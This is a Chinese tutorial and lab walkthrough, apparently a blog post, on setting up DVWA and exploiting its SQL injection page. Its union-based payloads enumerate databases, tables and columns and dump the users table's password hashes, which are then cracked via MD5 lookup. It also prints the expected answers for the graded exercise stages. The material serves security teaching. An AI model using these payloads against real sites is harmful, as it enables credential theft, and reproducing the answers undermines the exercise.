数据库SQL注入漏洞

第1关:获取dvwa环境


问题描述

搭建dvwa环境,包括1、搭建LAMP服务;2、部署dvwa服务;3、访问dvwa主页。


相关知识   

  •    安装appach  

首先更新源

apt update

安装apache2

apt install apache2 -y

启动apache2

service apache2 start

浏览器访问127.0.0.1,查看apache2是否正常运行

 

  • 安装php

更新源,安装php

apt install php -y

安装常用模块

apt install php-pear php-fpm php-dev php-zip php-curl php-xmlrpc php-gd php-mysql php-mbstring php-xml libapache2-mod-php

查看php版本

php -v

 

重启apache2

service apache2 restart 

修改apache配置文件

  1. $ sudo vim /etc/php/7.0/apache2/php.ini
  2. #allow_url_include = Off
  3. allow_url_include = On # 设置为On

 

  •  安装mysql

安装mysql

apt install mysql-server -y

启动mysql服务

service mysql start

测试数据库是否安装成功,使用root登录数据库。由于是root权限不需要密码

mysql -u root

查看数据库 

show databases;

退出数据库 

exit; 

mysql安全配置初始化

mysql_secure_installation

Y为root用户添加密码插件

 

方便实验选择密码强度0

 

输入密码dvwa123456

 

移除匿名用户

 

禁止root远程登录

 

移除test数据库

 

刷新权限表

 登录mysql

mysql -u root -p

为dvwa创建数据库

create database dvwa;

 

  •  安装dvwa

切换到/var/www/html目录

cd /var/www/html

下载dvwa

git clone GitHub - digininja/DVWA: Damn Vulnerable Web Application (DVWA)

修改配置文件

  1. $ cd /var/www/html/DVWA/config
  2. $ cp config.inc.php.dist config.inc.php
  3. $ vim config.inc.php
  4. ...
  5. $_DVWA[ 'db_user' ] = 'root';
  6. $_DVWA[ 'db_password' ] = 'dvwa123456';
  7. $_DVWA[ 'recaptcha_public_key' ] = '6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb';
  8. $_DVWA[ 'recaptcha_private_key' ] = '6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K';

 

给文件夹赋予权限

sudo chmod 777 -R /var/www/html/DVWA/hackable/uploads/

sudo chmod 777 /var/www/html/DVWA/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt

sudo chmod 777 -R /var/www/html/DVWA/config

 访问127.0.0.1/DVWA/setup.php,点击Create/Reset Database

成功之后会自动跳转到登录界面用户名为admin,密码为password

 

第2关:获取数据库名称、账户名、版本及操作系统信息


问题描述

在上一章的基础上判断是否存在SQL注入漏洞。


相关知识   

1.SQL注入分类

SQL 注入的分类,基于从服务器接收到的响应,可以划分为:

  • 联合查询注入
  • 基于错误的 SQL 注入
  • 堆查询注入
  • 基于布尔 SQL 盲注
  • 基于时间的 SQL 盲注
  • 基于报错的 SQL 盲注

2.注入中常用的系统函数

列举 mysql 中几个常用函数(这些函数常用与 SQL 注入点的判断)。

  • version()——MySQL 版本
  • user()——数据库用户名
  • database()——数据库名
  • @@datadir——数据库路径
  • @@version_compile_os——操作系统版本

3.字符串连接函数

字符串连接函数在构造 SQL 注入中也常使用:

  • concat(str1,str2,...)——没有分隔符地连接字符串;
  • concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串;
  • group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据。

4.逻辑运算

逻辑运算符在 SQL 注入中发挥着十分重要的作用如:||、&&、& 等,其本身含义很容易理解,这里不做过多介绍,等到后面涉及到真正的实操时再做进一步解释。

  • sql实践

在第一关的基础上,登录dvwa平台,用户名为"admin",密码为"password",

并访问127.0.0.1/DVWA/security.php,设置安全等级为low,然后Submit提交。

 

点击SQL Injection,并在id处输入1。可以看到

 

输入1',可以看到报错。可能存在sql注入

 

使用肯定为真的语句测试1' or '1' = '1。输出了所有用户信息,判断肯定存在sql注入

 

判断sql注入返回的列数,下面order by x表示输出按照第x列排序,#表示注释后面的sql语句。当x=3时报错,说明sql语句只返回两列信息。

  • 1' order by 1 #
  • 1' order by 2 #
  • 1' order by 3 #

使用联合查询方法查询MySQL 版本和操作系统版本

1' union select version(),@@version_compile_os#

 测试说明

使用sql注入查询数据库用户名和数据库名,

1' union select user(),database()#

 

并将用户名和数据库名写入/data/workspace/myshixun/result2中

 写入result2中的内容为:  root@localhost dvwa

 

第3关:获取数据库表名、列名


问题描述

在上一章的基础上获取数据库表名、列名。


相关知识   

  • SQL注入实践

每一个mysql都存在一个系统库information_schema,里面有mysql的“骨架”即所有的数据库,数据表,相应的字段名。得到一个dvwa数据库与第二关database()获的的数据库名称相同

1' UNION SELECT 1,database() from information_schema.schemata#

利用下面语句可以查询information_schema下所有表的名字

1' UNION SELECT 1,table_name from information_schema.tables where table_schema='information_schema'#

测试说明

使用sql注入查询dvwa数据库的所有表名,

1' UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#

  

并将所有表明写入/data/workspace/myshixun/result3中

 写入result3中的内容为:  guestbook users

第4关:获取用户名密码,并猜测root用户


问题描述

在上一章的基础上获取用户名密码并猜测root用户。


相关知识   

  • SQL注入实践

通过上一关的实践,我们已经得到了数据库dvwa的表名guestbook和users。 可以使用联合查询的方法查询对应表的所有列名分别为comment_id、comment、name

1' UNION SELECT 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='guestbook'#

 

 可以使用联合查询获取获得数据,因为列的数量大于2,所以需要使用group_concat将所有数据合并,并使用0x3a分割。

1' UNION SELECT 1,group_concat(comment_id,0x3a,comment,0x3a,name) from guestbook#

测试说明

  • 使用sql注入查询users表中管理员的密码,

查询users表中的字段名称

1' UNION SELECT 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#

 

查询users表中管理员的密码

1' UNION SELECT 1,group_concat(user,0x3a,password,0x3a) from users#

  

并将解密密码/data/workspace/myshixun/result4中

例如查询到的密码为0d107d09f5bbe40cade3de5c71e9e9b7,需要使用在线网站解密后写入"letmein"

由上述例子可知,为md5解密方式,解密后的结果为: password 

 

开始你的任务吧,祝你成功! 

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值